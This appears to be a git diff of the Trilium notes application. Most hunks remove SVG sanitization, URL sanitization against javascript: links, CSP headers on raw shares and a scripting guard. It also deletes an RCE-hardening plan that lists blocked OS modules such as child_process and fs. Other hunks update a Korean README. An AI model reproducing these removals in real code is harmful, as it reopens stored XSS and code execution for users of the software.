|
||||
} catch {
|
||||
log.info(`URL rejected - failed to parse: ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate that a base URL intended for an LLM provider API is using a safe
|
||||
* scheme (http or https only).
|
||||
*
|
||||
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
|
||||
* configured by authenticated administrators, so we only enforce the scheme
|
||||
* restriction without blocking private IPs (which are legitimate for
|
||||
* self-hosted services like Ollama).
|
||||
*
|
||||
* Returns `true` when the URL passes the check, `false` otherwise.
|
||||
*/
|
||||
export function isSafeProviderBaseUrl(urlStr: string): boolean {
|
||||
try {
|
||||
const parsed = new URL(urlStr);
|
||||
|
||||
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
|
||||
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
} catch {
|
||||
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,4 @@
|
||||
|
||||
|
||||
import chardet from "chardet";
|
||||
import crypto from "crypto";
|
||||
import escape from "escape-html";
|
||||
@@ -516,6 +515,13 @@ function slugify(text: string) {
|
||||
.replace(/(^-|-$)+/g, ""); // trim dashes
|
||||
}
|
||||
|
||||
export function waitForStreamToFinish(stream: any): Promise<void> {
|
||||
return new Promise((resolve, reject) => {
|
||||
stream.on("finish", () => resolve());
|
||||
stream.on("error", (err) => reject(err));
|
||||
});
|
||||
}
|
||||
|
||||
export default {
|
||||
compareVersions,
|
||||
constantTimeCompare,
|
||||
@@ -556,5 +562,6 @@ export default {
|
||||
toBase64,
|
||||
toMap,
|
||||
toObject,
|
||||
unescapeHtml
|
||||
unescapeHtml,
|
||||
waitForStreamToFinish
|
||||
};
|
||||
|
||||
@@ -14,7 +14,6 @@ import BNote from "../becca/entities/bnote.js";
|
||||
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
|
||||
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
|
||||
import log from "../services/log.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
import options from "../services/options.js";
|
||||
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
|
||||
import SAttachment from "./shaca/entities/sattachment.js";
|
||||
@@ -194,13 +193,11 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
|
||||
t,
|
||||
isDev,
|
||||
utils,
|
||||
sanitizeUrl,
|
||||
...renderArgs,
|
||||
};
|
||||
|
||||
// Check if the user has their own template.
|
||||
// Skip user-provided EJS templates when scripting is disabled since EJS can execute arbitrary JS.
|
||||
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
|
||||
if (note.hasRelation("shareTemplate")) {
|
||||
// Get the template note and content
|
||||
const templateId = note.getRelation("shareTemplate")?.value;
|
||||
const templateNote = templateId && shaca.getNote(templateId);
|
||||
@@ -303,9 +300,7 @@ function renderIndex(result: Result) {
|
||||
|
||||
for (const childNote of rootNote.getChildNotes()) {
|
||||
const isExternalLink = childNote.hasLabel("shareExternalLink");
|
||||
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
// Sanitize href to prevent javascript: / data: URI injection (CWE-79).
|
||||
const href = isExternalLink ? escapeHtml(sanitizeUrl(rawHref ?? "")) : escapeHtml(rawHref ?? "");
|
||||
const href = isExternalLink ? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
const target = isExternalLink ? `target="_blank" rel="noopener noreferrer"` : "";
|
||||
result.content += `<li><a class="${childNote.type}" href="${href}" ${target}>${childNote.escapedTitle}</a></li>`;
|
||||
}
|
||||
@@ -409,10 +404,7 @@ function handleAttachmentLink(linkEl: HTMLElement, href: string, getNote: GetNot
|
||||
const linkedNote = getNote(noteId);
|
||||
if (linkedNote) {
|
||||
const isExternalLink = linkedNote.hasLabel("shareExternalLink");
|
||||
// Sanitize external links to prevent javascript: / data: URI injection (CWE-79).
|
||||
const href = isExternalLink
|
||||
? sanitizeUrl(linkedNote.getLabelValue("shareExternalLink") ?? "")
|
||||
: `./${linkedNote.shareId}`;
|
||||
const href = isExternalLink ? linkedNote.getLabelValue("shareExternalLink") : `./${linkedNote.shareId}`;
|
||||
if (href) {
|
||||
linkEl.setAttribute("href", href);
|
||||
}
|
||||
|
||||
@@ -10,7 +10,6 @@ import type SNote from "./shaca/entities/snote.js";
|
||||
import type SAttachment from "./shaca/entities/sattachment.js";
|
||||
import { getDefaultTemplatePath, renderNoteContent } from "./content_renderer.js";
|
||||
import utils from "../services/utils.js";
|
||||
import { sanitizeSvg, setSvgHeaders } from "../services/svg_sanitizer.js";
|
||||
|
||||
function addNoIndexHeader(note: SNote, res: Response) {
|
||||
if (note.isLabelTruthy("shareDisallowRobotIndexing")) {
|
||||
@@ -103,9 +102,10 @@ function renderImageAttachment(image: SNote, res: Response, attachmentName: stri
|
||||
}
|
||||
}
|
||||
|
||||
const sanitized = sanitizeSvg(svgString);
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
const svg = svgString;
|
||||
res.set("Content-Type", "image/svg+xml");
|
||||
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
|
||||
res.send(svg);
|
||||
}
|
||||
|
||||
function render404(res: Response) {
|
||||
@@ -133,13 +133,6 @@ function register(router: Router) {
|
||||
addNoIndexHeader(note, res);
|
||||
|
||||
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
|
||||
// For HTML and SVG content, add restrictive Content-Security-Policy
|
||||
// to prevent stored XSS via script execution (CWE-79).
|
||||
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
|
||||
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
|
||||
res.setHeader("X-Content-Type-Options", "nosniff");
|
||||
}
|
||||
|
||||
res.setHeader("Content-Type", note.mime).send(note.getContent());
|
||||
|
||||
return;
|
||||
@@ -219,17 +212,10 @@ function register(router: Router) {
|
||||
}
|
||||
|
||||
if (image.type === "image") {
|
||||
// normal image
|
||||
res.set("Content-Type", image.mime);
|
||||
addNoIndexHeader(image, res);
|
||||
if (image.mime === "image/svg+xml") {
|
||||
// SVG images require sanitization to prevent stored XSS
|
||||
const content = image.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", image.mime);
|
||||
res.send(image.getContent());
|
||||
}
|
||||
res.send(image.getContent());
|
||||
} else if (image.type === "canvas") {
|
||||
renderImageAttachment(image, res, "canvas-export.svg");
|
||||
} else if (image.type === "mermaid") {
|
||||
@@ -252,17 +238,9 @@ function register(router: Router) {
|
||||
}
|
||||
|
||||
if (attachment.role === "image") {
|
||||
res.set("Content-Type", attachment.mime);
|
||||
addNoIndexHeader(attachment.note, res);
|
||||
if (attachment.mime === "image/svg+xml") {
|
||||
// SVG attachments require sanitization to prevent stored XSS
|
||||
const content = attachment.getContent();
|
||||
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
|
||||
setSvgHeaders(res);
|
||||
res.send(sanitized);
|
||||
} else {
|
||||
res.set("Content-Type", attachment.mime);
|
||||
res.send(attachment.getContent());
|
||||
}
|
||||
res.send(attachment.getContent());
|
||||
} else {
|
||||
res.status(400).json({ message: "Requested attachment is not a shareable image" });
|
||||
}
|
||||
|
||||
@@ -12,7 +12,6 @@ import host from "./services/host.js";
|
||||
import buildApp from "./app.js";
|
||||
import type { Express } from "express";
|
||||
import { getDbSize } from "./services/sql_init.js";
|
||||
import { isScriptingEnabled } from "./services/scripting_guard.js";
|
||||
|
||||
const MINIMUM_NODE_VERSION = "20.0.0";
|
||||
|
||||
@@ -82,14 +81,6 @@ async function displayStartupMessage() {
|
||||
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
|
||||
}
|
||||
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
|
||||
|
||||
if (isScriptingEnabled()) {
|
||||
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
|
||||
"filesystem, network, and OS commands. Only enable in trusted environments.");
|
||||
} else {
|
||||
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
|
||||
}
|
||||
|
||||
log.info("");
|
||||
}
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
"dependencies": {
|
||||
"i18next": "25.8.11",
|
||||
"i18next-http-backend": "3.0.2",
|
||||
"preact": "10.28.3",
|
||||
"preact": "10.28.4",
|
||||
"preact-iso": "2.11.1",
|
||||
"preact-render-to-string": "6.6.5",
|
||||
"react-i18next": "16.5.4"
|
||||
|
||||
@@ -27,7 +27,8 @@ export function initTranslations(lng: string) {
|
||||
initAsync: false,
|
||||
react: {
|
||||
useSuspense: false
|
||||
}
|
||||
},
|
||||
showSupportNotice: false
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
62
docs/README-ko.md
vendored
62
docs/README-ko.md
vendored
@@ -139,13 +139,11 @@ zadam/Trilium 인스턴스에서 TriliumNext/Trilium 인스턴스로 마이그
|
||||
zadam/trilium 버전과 호환됩니다. 이후 버전의 TriliumNext/Trilium은 동기화 버전이 증가되어 직접 마이그레이션이
|
||||
불가능합니다.
|
||||
|
||||
## 💬 Discuss with us
|
||||
## 💬 함께 토론해 보세요
|
||||
|
||||
Feel free to join our official conversations. We would love to hear what
|
||||
features, suggestions, or issues you may have!
|
||||
저희 공식 대화에 자유롭게 참여해 주세요. 어떤 기능, 제안 또는 문제점이 있으시면 언제든지 알려주세요!
|
||||
|
||||
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (For synchronous
|
||||
discussions.)
|
||||
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (동기식 토론용)
|
||||
- `General` 매트릭스 룸은 [XMPP](xmpp:discuss@trilium.thisgreat.party?join)에도 브리지되어
|
||||
있습니다
|
||||
- [Github Discussions](https://github.com/TriliumNext/Trilium/discussions) (비동기
|
||||
@@ -162,17 +160,15 @@ features, suggestions, or issues you may have!
|
||||
|
||||
### Linux
|
||||
|
||||
If your distribution is listed in the table below, use your distribution's
|
||||
package.
|
||||
사용하시는 배포판이 아래 표에 나와 있다면 해당 배포판의 패키지를 사용하십시오.
|
||||
|
||||
[](https://repology.org/project/triliumnext/versions)
|
||||
[](https://repology.org/project/triliumnext/versions)
|
||||
|
||||
You may also download the binary release for your platform from the [latest
|
||||
release page](https://github.com/TriliumNext/Trilium/releases/latest), unzip the
|
||||
package and run the `trilium` executable.
|
||||
또한 [최신 릴리스 페이지](https://github.com/TriliumNext/Trilium/releases/latest)에서 해당
|
||||
플랫폼용 바이너리 릴리스를 다운로드하고 패키지의 압축을 풀고 `trilium` 실행 파일을 실행할 수도 있습니다.
|
||||
|
||||
TriliumNext is also provided as a Flatpak, but not yet published on FlatHub.
|
||||
TriliumNext는 Flatpak으로도 제공되지만, 아직 FlatHub에는 게시되지 않았습니다.
|
||||
|
||||
### 브라우저 (모든 운영체제)
|
||||
|
||||
@@ -201,22 +197,21 @@ TriliumNext를 자체 서버에 설치하려면 [서버 설치
|
||||
문서](https://docs.triliumnotes.org/user-guide/setup/server)를 따르세요.
|
||||
|
||||
|
||||
## 💻 Contribute
|
||||
## 💻 참여하기
|
||||
|
||||
### Translations
|
||||
### 번역
|
||||
|
||||
If you are a native speaker, help us translate Trilium by heading over to our
|
||||
[Weblate page](https://hosted.weblate.org/engage/trilium/).
|
||||
원어민이시라면 [Weblate 페이지](https://hosted.weblate.org/engage/trilium/)로 이동하여 Trilium
|
||||
번역을 도와주세요.
|
||||
|
||||
Here's the language coverage we have so far:
|
||||
현재까지 지원되는 언어는 다음과 같습니다:
|
||||
|
||||
[](https://hosted.weblate.org/engage/trilium/)
|
||||
[](https://hosted.weblate.org/engage/trilium/)
|
||||
|
||||
### Code
|
||||
### 코드
|
||||
|
||||
Download the repository, install dependencies using `pnpm` and then run the
|
||||
server (available at http://localhost:8080):
|
||||
저장소를 다운로드하고 `pnpm`을 사용하여 종속성을 설치한 다음 서버를 실행하세요(http://localhost:8080에서 접속 가능):
|
||||
```shell
|
||||
git clone https://github.com/TriliumNext/Trilium.git
|
||||
cd Trilium
|
||||
@@ -224,7 +219,7 @@ pnpm install
|
||||
pnpm run server:start
|
||||
```
|
||||
|
||||
### Documentation
|
||||
### 문서
|
||||
|
||||
저장소를 다운로드하고 `pnpm`을 사용하여 종속성을 설치한 다음 문서 편집에 필요한 환경을 실행하세요.
|
||||
```shell
|
||||
@@ -258,19 +253,16 @@ docs](https://github.com/TriliumNext/Trilium/tree/main/docs/Developer%20Guide/De
|
||||
* [zadam](https://github.com/zadam)은 애플리케이션의 원래 개념과 구현에 대한 공로를 인정받았습니다.
|
||||
* [Sarah Hussein](https://github.com/Sarah-Hussein)은 애플리케이션 아이콘을 디자인했습니다.
|
||||
* [nriver](https://github.com/nriver) 국제화에 공헌.
|
||||
* [Thomas Frei](https://github.com/thfrei) for his original work on the Canvas.
|
||||
* [antoniotejada](https://github.com/nriver) for the original syntax highlight
|
||||
widget.
|
||||
* [Dosu](https://dosu.dev/) for providing us with the automated responses to
|
||||
GitHub issues and discussions.
|
||||
* [Tabler Icons](https://tabler.io/icons) for the system tray icons.
|
||||
* [Thomas Frei](https://github.com/thfrei) 캔버스에 대한 독창적인 작업.
|
||||
* [antoniotejada](https://github.com/nriver) 구문 강조 위젯의 원본.
|
||||
* [Dosu](https://dosu.dev/) GitHub 이슈 및 토론에 대한 자동 응답을 제공.
|
||||
* [Tabler Icons](https://tabler.io/icons) 시스템 트레이 아이콘.
|
||||
|
||||
Trilium would not be possible without the technologies behind it:
|
||||
트릴리움은 다음의 기반 기술들이 없었다면 불가능했을 것입니다:
|
||||
|
||||
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - the visual editor behind
|
||||
text notes. We are grateful for being offered a set of the premium features.
|
||||
* [CodeMirror](https://github.com/codemirror/CodeMirror) - code editor with
|
||||
support for huge amount of languages.
|
||||
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - 텍스트 노트의 시각적 편집기입니다. 프리미엄
|
||||
기능을 제공해주셔서 감사합니다.
|
||||
* [CodeMirror](https://github.com/codemirror/CodeMirror) - 수많은 언어를 지원하는 코드 편집기.
|
||||
* [Excalidraw](https://github.com/excalidraw/excalidraw) - the infinite
|
||||
whiteboard used in Canvas notes.
|
||||
* [Mind Elixir](https://github.com/SSShooter/mind-elixir-core) - providing the
|
||||
|
||||
590
docs/plans/2026-02-19-rce-hardening-design.md
vendored
590
docs/plans/2026-02-19-rce-hardening-design.md
vendored
@@ -1,590 +0,0 @@
|
||||
# RCE Hardening - Defense in Depth Implementation Plan
|
||||
|
||||
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
|
||||
|
||||
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
|
||||
|
||||
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
|
||||
|
||||
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
|
||||
|
||||
---
|
||||
|
||||
## Task 1: Add `[Scripting]` config section
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
|
||||
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
|
||||
|
||||
**Step 1: Add Scripting section to TriliumConfig interface**
|
||||
|
||||
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
|
||||
|
||||
```typescript
|
||||
/** Scripting and code execution configuration */
|
||||
Scripting: {
|
||||
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
|
||||
enabled: boolean;
|
||||
/** Whether the SQL console is accessible (default: false) */
|
||||
sqlConsoleEnabled: boolean;
|
||||
};
|
||||
```
|
||||
|
||||
**Step 2: Add configMapping entries**
|
||||
|
||||
Add after `Logging` in `configMapping`:
|
||||
|
||||
```typescript
|
||||
Scripting: {
|
||||
enabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
|
||||
iniGetter: () => getIniSection("Scripting")?.enabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
},
|
||||
sqlConsoleEnabled: {
|
||||
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
|
||||
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
|
||||
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
|
||||
defaultValue: false,
|
||||
transformer: transformBoolean
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Add to config object**
|
||||
|
||||
```typescript
|
||||
Scripting: {
|
||||
enabled: getConfigValue(configMapping.Scripting.enabled),
|
||||
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
|
||||
}
|
||||
```
|
||||
|
||||
**Step 4: Update config-sample.ini**
|
||||
|
||||
Add at the bottom:
|
||||
|
||||
```ini
|
||||
[Scripting]
|
||||
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
|
||||
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
|
||||
# all users with admin-level access to the server.
|
||||
# Desktop builds override this to true automatically.
|
||||
enabled=false
|
||||
|
||||
# Enable the SQL console (allows raw SQL execution against the database)
|
||||
sqlConsoleEnabled=false
|
||||
```
|
||||
|
||||
**Step 5: Commit**
|
||||
|
||||
```
|
||||
feat(security): add [Scripting] config section with enabled=false default
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 2: Create scripting guard utility
|
||||
|
||||
**Files:**
|
||||
- Create: `apps/server/src/services/scripting_guard.ts`
|
||||
- Create: `apps/server/src/services/scripting_guard.spec.ts`
|
||||
|
||||
**Step 1: Write tests**
|
||||
|
||||
```typescript
|
||||
// scripting_guard.spec.ts
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
|
||||
describe("ScriptingGuard", () => {
|
||||
it("should throw when scripting is disabled", async () => {
|
||||
vi.doMock("./config.js", () => ({
|
||||
default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
|
||||
}));
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).toThrow("disabled");
|
||||
});
|
||||
|
||||
it("should not throw when scripting is enabled", async () => {
|
||||
vi.doMock("./config.js", () => ({
|
||||
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
|
||||
}));
|
||||
const { assertScriptingEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertScriptingEnabled()).not.toThrow();
|
||||
});
|
||||
|
||||
it("should throw for SQL console when disabled", async () => {
|
||||
vi.doMock("./config.js", () => ({
|
||||
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
|
||||
}));
|
||||
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
|
||||
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
**Step 2: Implement**
|
||||
|
||||
```typescript
|
||||
// scripting_guard.ts
|
||||
import config from "./config.js";
|
||||
import { isElectron } from "./utils.js";
|
||||
|
||||
/**
|
||||
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
|
||||
*/
|
||||
export function assertScriptingEnabled(): void {
|
||||
if (isElectron || config.Scripting.enabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
|
||||
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
|
||||
);
|
||||
}
|
||||
|
||||
export function assertSqlConsoleEnabled(): void {
|
||||
if (isElectron || config.Scripting.sqlConsoleEnabled) {
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
|
||||
);
|
||||
}
|
||||
|
||||
export function isScriptingEnabled(): boolean {
|
||||
return isElectron || config.Scripting.enabled;
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Run tests, verify pass**
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```
|
||||
feat(security): add scripting guard utility
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 3: Gate script execution endpoints
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
|
||||
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
|
||||
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
|
||||
|
||||
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
|
||||
|
||||
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
|
||||
|
||||
```typescript
|
||||
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
async function exec(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
|
||||
function run(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Gate SQL console**
|
||||
|
||||
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
|
||||
|
||||
```typescript
|
||||
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
function execute(req: Request) {
|
||||
assertSqlConsoleEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Gate bulk action executeScript**
|
||||
|
||||
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
|
||||
|
||||
```typescript
|
||||
import { assertScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
executeScript: (action, note) => {
|
||||
assertScriptingEnabled();
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 4: Verify TypeScript compiles, run tests**
|
||||
|
||||
**Step 5: Commit**
|
||||
|
||||
```
|
||||
feat(security): gate script/SQL execution behind Scripting.enabled config
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 4: Gate scheduler and event handler script execution
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
|
||||
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
|
||||
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
|
||||
|
||||
**Step 1: Gate scheduler**
|
||||
|
||||
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
sqlInit.dbReady.then(() => {
|
||||
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
|
||||
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
|
||||
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
|
||||
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
|
||||
// ...
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
**Step 2: Gate event handlers**
|
||||
|
||||
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
|
||||
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
|
||||
if (!note || !isScriptingEnabled()) {
|
||||
return;
|
||||
}
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Gate frontend startup/widget bundles**
|
||||
|
||||
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
function getStartupBundles(req: Request) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return { scripts: [], superScripts: [] };
|
||||
}
|
||||
// ... existing code
|
||||
}
|
||||
```
|
||||
|
||||
**Step 4: Verify TypeScript compiles, run tests**
|
||||
|
||||
**Step 5: Commit**
|
||||
|
||||
```
|
||||
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 5: Add authentication to `/custom/*` routes
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
|
||||
|
||||
**Step 1: Add auth check with opt-out**
|
||||
|
||||
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
|
||||
|
||||
```typescript
|
||||
import auth from "./auth.js";
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
function handleRequest(req: Request, res: Response) {
|
||||
if (!isScriptingEnabled()) {
|
||||
res.status(403).send("Script execution is disabled on this server.");
|
||||
return;
|
||||
}
|
||||
|
||||
// ... existing path parsing code ...
|
||||
|
||||
for (const attr of attrs) {
|
||||
// ... existing matching code ...
|
||||
|
||||
if (attr.name === "customRequestHandler") {
|
||||
const note = attr.getNote();
|
||||
|
||||
// Require authentication unless note has #customRequestHandlerPublic label
|
||||
if (!note.hasLabel("customRequestHandlerPublic")) {
|
||||
if (!req.session?.loggedIn) {
|
||||
res.status(401).send("Authentication required for this endpoint.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// ... existing execution code ...
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
|
||||
|
||||
In `packages/commons/src/lib/builtin_attributes.ts`, add:
|
||||
|
||||
```typescript
|
||||
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
|
||||
```
|
||||
|
||||
**Step 3: Verify TypeScript compiles**
|
||||
|
||||
**Step 4: Commit**
|
||||
|
||||
```
|
||||
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 6: Restrict `require()` in ScriptContext
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
|
||||
|
||||
**Step 1: Add module whitelist**
|
||||
|
||||
Replace the unrestricted `require()` fallback with a whitelist:
|
||||
|
||||
```typescript
|
||||
// Modules that are safe for user scripts to require.
|
||||
// These do NOT provide filesystem, network, or OS access.
|
||||
const ALLOWED_MODULES = new Set([
|
||||
// Trilium built-in modules (resolved via note titles, not Node require)
|
||||
// -- these are handled before the fallback
|
||||
|
||||
// Safe utility libraries available in node_modules
|
||||
"dayjs",
|
||||
"marked",
|
||||
"turndown",
|
||||
"cheerio",
|
||||
"axios", // already exposed via api.axios, but scripts may require it directly
|
||||
"xml2js", // already exposed via api.xml2js
|
||||
"escape-html",
|
||||
"sanitize-html",
|
||||
"lodash",
|
||||
|
||||
// Trilium-specific modules
|
||||
"trilium:preact",
|
||||
"trilium:api",
|
||||
]);
|
||||
|
||||
// Modules that are BLOCKED even when scripting is enabled.
|
||||
// These provide OS-level access that makes RCE trivial.
|
||||
const BLOCKED_MODULES = new Set([
|
||||
"child_process",
|
||||
"cluster",
|
||||
"dgram",
|
||||
"dns",
|
||||
"fs",
|
||||
"fs/promises",
|
||||
"net",
|
||||
"os",
|
||||
"path",
|
||||
"process",
|
||||
"tls",
|
||||
"worker_threads",
|
||||
"v8",
|
||||
"vm",
|
||||
]);
|
||||
|
||||
class ScriptContext {
|
||||
// ... existing fields ...
|
||||
|
||||
require(moduleNoteIds: string[]) {
|
||||
return (moduleName: string) => {
|
||||
// First: check note-based modules (existing behavior)
|
||||
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
|
||||
const note = candidates.find((c) => c.title === moduleName);
|
||||
|
||||
if (note) {
|
||||
return this.modules[note.noteId].exports;
|
||||
}
|
||||
|
||||
// Second: check blocked list
|
||||
if (BLOCKED_MODULES.has(moduleName)) {
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is blocked for security. ` +
|
||||
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
|
||||
);
|
||||
}
|
||||
|
||||
// Third: allow if in whitelist, otherwise block
|
||||
if (ALLOWED_MODULES.has(moduleName)) {
|
||||
return require(moduleName);
|
||||
}
|
||||
|
||||
throw new Error(
|
||||
`Module '${moduleName}' is not in the allowed modules list. ` +
|
||||
`Contact your administrator to add it to the whitelist.`
|
||||
);
|
||||
};
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Verify TypeScript compiles, run tests**
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): restrict require() in script context to whitelisted modules
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 7: Filter dangerous attributes from sync
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
|
||||
|
||||
**Step 1: Add attribute filtering in `updateNormalEntity`**
